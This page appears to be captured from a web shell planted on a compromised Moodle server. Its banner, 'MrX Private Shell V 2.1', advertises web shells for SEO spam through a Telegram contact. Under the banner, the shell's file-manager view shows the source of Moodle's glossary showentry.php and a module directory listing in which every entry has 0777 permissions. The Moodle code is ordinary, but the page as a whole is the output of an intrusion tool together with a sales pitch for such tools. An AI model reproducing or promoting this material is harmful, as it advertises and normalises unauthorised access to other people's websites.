__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
require_once('../../config.php');
require_once('lib.php');
$concept = optional_param('concept', '', PARAM_CLEAN);
$courseid = optional_param('courseid', 0, PARAM_INT);
$eid = optional_param('eid', 0, PARAM_INT); // glossary entry id
$displayformat = optional_param('displayformat',-1, PARAM_SAFEDIR);
$url = new moodle_url('/mod/glossary/showentry.php');
$url->param('concept', $concept);
$url->param('courseid', $courseid);
$url->param('eid', $eid);
$url->param('displayformat', $displayformat);
$PAGE->set_url($url);
if ($CFG->forcelogin) {
require_login();
}
if ($eid) {
$entry = $DB->get_record('glossary_entries', array('id'=>$eid), '*', MUST_EXIST);
$glossary = $DB->get_record('glossary', array('id'=>$entry->glossaryid), '*', MUST_EXIST);
$cm = get_coursemodule_from_instance('glossary', $glossary->id, 0, false, MUST_EXIST);
$course = $DB->get_record('course', array('id'=>$cm->course), '*', MUST_EXIST);
require_course_login($course, true, $cm);
$entry->glossaryname = $glossary->name;
$entry->cmid = $cm->id;
$entry->courseid = $cm->course;
$entries = array($entry);
} else if ($concept) {
$course = $DB->get_record('course', array('id'=>$courseid), '*', MUST_EXIST);
require_course_login($course);
$entries = glossary_get_entries_search($concept, $courseid);
} else {
throw new \moodle_exception('invalidelementid');
}
$PAGE->set_pagelayout('incourse');
$PAGE->activityheader->disable();
if ($entries) {
foreach ($entries as $key => $entry) {
// Need to get the course where the entry is,
// in order to check for visibility/approve permissions there
$entrycourse = $DB->get_record('course', array('id' => $entry->courseid), '*', MUST_EXIST);
$modinfo = get_fast_modinfo($entrycourse);
// make sure the entry is visible
if (empty($modinfo->cms[$entry->cmid]->uservisible)) {
unset($entries[$key]);
continue;
}
// make sure the entry is approved (or approvable by current user)
if (!$entry->approved and ($USER->id != $entry->userid)) {
$context = context_module::instance($entry->cmid);
if (!has_capability('mod/glossary:approve', $context)) {
unset($entries[$key]);
continue;
}
}
$entries[$key]->footer = "<p style=\"text-align:right\">» <a href=\"$CFG->wwwroot/mod/glossary/view.php?g=$entry->glossaryid\">".format_string($entry->glossaryname,true)."</a></p>";
glossary_entry_view($entry, $modinfo->cms[$entry->cmid]->context);
}
}
if (!empty($courseid)) {
$strglossaries = get_string('modulenameplural', 'glossary');
$strsearch = get_string('search');
$PAGE->navbar->add($strglossaries);
$PAGE->navbar->add($strsearch);
$PAGE->set_title(strip_tags("$course->shortname: $strglossaries $strsearch"));
$PAGE->set_heading($course->fullname);
echo $OUTPUT->header();
} else {
echo $OUTPUT->header(); // Needs to be something here to allow linking back to the whole glossary
}
if ($glossary) {
$url = new moodle_url('view.php', ['id' => $cm->id]);
$backlink = html_writer::link($url, get_string('back'), ['class' => 'btn btn-secondary']);
echo html_writer::tag('div', $backlink, ['class' => 'tertiary-navigation']);
}
if ($entries) {
glossary_print_dynaentry($courseid, $entries, $displayformat);
}
/// Show one reduced footer
echo $OUTPUT->footer();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| backup | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| db | Folder | 0777 |
|
|
| formats | Folder | 0777 |
|
|
| lang | Folder | 0777 |
|
|
| pix | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| README.txt | File | 1.7 KB | 0777 |
|
| TODO.txt | File | 607 B | 0777 |
|
| approve.php | File | 2.22 KB | 0777 |
|
| deleteentry.php | File | 2.87 KB | 0777 |
|
| deprecatedlib.php | File | 1.15 KB | 0777 |
|
| edit.php | File | 3.43 KB | 0777 |
|
| edit_form.php | File | 7.12 KB | 0777 |
|
| editcategories.html | File | 3.33 KB | 0777 |
|
| editcategories.php | File | 10.89 KB | 0777 |
|
| export.php | File | 2.95 KB | 0777 |
|
| exportentry.php | File | 4.47 KB | 0777 |
|
| formats.php | File | 9.51 KB | 0777 |
|
| import.php | File | 15.77 KB | 0777 |
|
| import_form.php | File | 1.13 KB | 0777 |
|
| index.php | File | 4.36 KB | 0777 |
|
| lib.php | File | 165.38 KB | 0777 |
|
| locallib.php | File | 29.26 KB | 0777 |
|
| mod_form.php | File | 11.18 KB | 0777 |
|
| print.php | File | 6.94 KB | 0777 |
|
| rsslib.php | File | 7.85 KB | 0777 |
|
| settings.php | File | 2.7 KB | 0777 |
|
| showentry.php | File | 3.42 KB | 0777 |
|
| sql.php | File | 3.83 KB | 0777 |
|
| styles.css | File | 2.5 KB | 0777 |
|
| tabs.php | File | 2.46 KB | 0777 |
|
| upgrade.txt | File | 1.36 KB | 0777 |
|
| version.php | File | 1.2 KB | 0777 |
|
| view.php | File | 17.37 KB | 0777 |
|